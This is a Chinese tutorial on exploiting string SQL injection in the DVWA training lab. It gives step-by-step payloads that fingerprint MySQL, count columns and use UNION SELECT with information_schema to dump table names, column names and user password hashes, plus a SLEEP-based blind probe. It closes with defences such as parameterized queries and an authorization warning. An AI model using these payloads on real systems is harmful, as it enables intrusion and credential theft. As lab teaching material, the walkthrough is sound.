今天咱们来聊聊一个经典的安全测试场景——在DVWA(Damn Vulnerable Web Application)靶场中利用字符型SQL注入漏洞获取数据库信息的过程。作为安全测试的入门必备技能,SQL注入的原理和实操方法每个安全从业者都应该熟练掌握。
先简单介绍下环境:DVWA是一个专门用于安全测试的PHP/MySQL应用,默认账号admin/password即可登录。我们将安全级别设为Low(最低防护级别),然后进入SQL Injection模块进行测试。这个模块模拟了一个典型的用户ID查询功能,背后通过拼接SQL语句实现数据查询,正是这种拼接方式导致了SQL注入漏洞。
注入的第一步永远是判断后端数据库类型,因为不同数据库的语法和函数有所差异。我在输入框尝试输入:
code复制1'
提交后返回了MySQL特有的错误信息:
code复制You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version...
这个错误明确告诉我们后端是MySQL数据库,且我们的输入被直接拼接到SQL语句中导致了语法错误。这种错误回显对攻击者非常有价值,在安全测试中被称为"基于错误的SQL注入"。
专业提示:现代应用中通常会屏蔽这类详细错误信息,但很多传统系统仍会返回完整错误,这也是为什么错误处理在安全开发中如此重要。
确定数据库类型后,需要判断查询语句的闭合方式。我首先尝试输入:
code复制1a
页面正常返回结果,说明输入被当作字符串处理(如果是数值型,非数字输入应该报错)。接下来测试具体闭合符号:
code复制1a'
分析错误信息中的引号配对情况,可以确定是单引号闭合。这意味着后台的SQL语句大概是这样的形式:
sql复制SELECT * FROM users WHERE user_id='[用户输入]'
为了构造有效的注入语句,我们需要注释掉原查询的后半部分。在MySQL中常用的注释符是--+(注意加号用于确保URL编码后的空格),或者-- (后面带一个空格)。
这里有个重要细节:在浏览器URL中,#会被当作锚点而非注释符,所以必须使用--+。最终构造的测试URL如下:
code复制?id=1' --+&Submit=Submit#
使用ORDER BY子句可以确定查询返回的列数。逐步测试:
code复制1' order by 1 --+
1' order by 2 --+
当测试到order by 3时报错,说明原始查询只返回2列。这个信息对后续的UNION查询至关重要——UNION要求前后查询的列数一致。
通过UNION SELECT找出页面中实际显示数据的列位置:
code复制1' union select 1,2 --+
发现页面显示了1和2,说明这两列都会被渲染到页面上。为了只显示我们的注入结果,可以将ID改为不存在的值:
code复制-1' union select 1,2 --+
现在可以开始提取敏感信息了。首先获取当前数据库名:
code复制-1' union select 1,database() --+
返回结果为"dvwa",这就是我们正在攻击的数据库名称。
MySQL的系统数据库information_schema存储了所有元数据,我们可以利用它来获取更多信息。例如获取dvwa数据库中的所有表:
code复制-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+
返回"guestbook,users"两个表名,显然users表更值得关注。
首先获取users表的所有列名:
code复制-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+
返回的列包括user_id,first_name,last_name,user,password等。最后一步就是获取用户名和密码:
code复制-1' union select group_concat(user),group_concat(password) from users --+
成功获取到所有用户的账号和加密密码(DVWA中使用的是MD5加密)。
SQL注入之所以能够发生,根本原因是应用程序将用户输入直接拼接到SQL语句中执行,没有进行适当的过滤或参数化处理。在本例中,后端代码大概是这样的:
php复制$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE user_id='$id'";
// 执行查询...
当用户输入包含SQL元字符(如单引号)时,就能"逃逸"出原查询的语法结构,注入任意SQL代码。
MySQL的information_schema数据库是注入攻击的关键突破口。它包含:
通过查询这些系统表,攻击者可以完全掌握数据库结构,无需事先知道任何表名或列名。
成功的UNION注入需要注意:
最根本的解决方案是使用参数化查询(预处理语句):
php复制$stmt = $pdo->prepare("SELECT * FROM users WHERE user_id = ?");
$stmt->execute([$id]);
这样用户输入就永远不会被当作SQL语法解析。
对用户输入进行严格验证,比如ID字段应该只允许数字:
php复制if(!is_numeric($id)) {
die("Invalid input");
}
数据库用户应该只有必要的最小权限,避免使用root或高权限账号连接数据库。
生产环境应该关闭详细的错误回显,避免泄露系统信息。
注释符选择:在URL注入时,--+比#更可靠,因为#在URL中有特殊含义
信息收集顺序:先确定数据库类型→闭合方式→列数→显示位,这个顺序不能乱
group_concat的替代:如果group_concat被禁用,可以使用LIMIT分页获取数据:
code复制-1' union select null,table_name from information_schema.tables where table_schema=database() limit 0,1 --+
code复制1' AND SLEEP(5) --+
需要特别强调的是,SQL注入技术只能用于合法授权的安全测试。未经授权的系统渗透是违法行为。在实际工作中:
安全是一把双刃剑,技术本身没有善恶,关键在于使用者的意图和行为。作为安全从业者,我们更应该关注如何防御这类攻击,而不是滥用技术。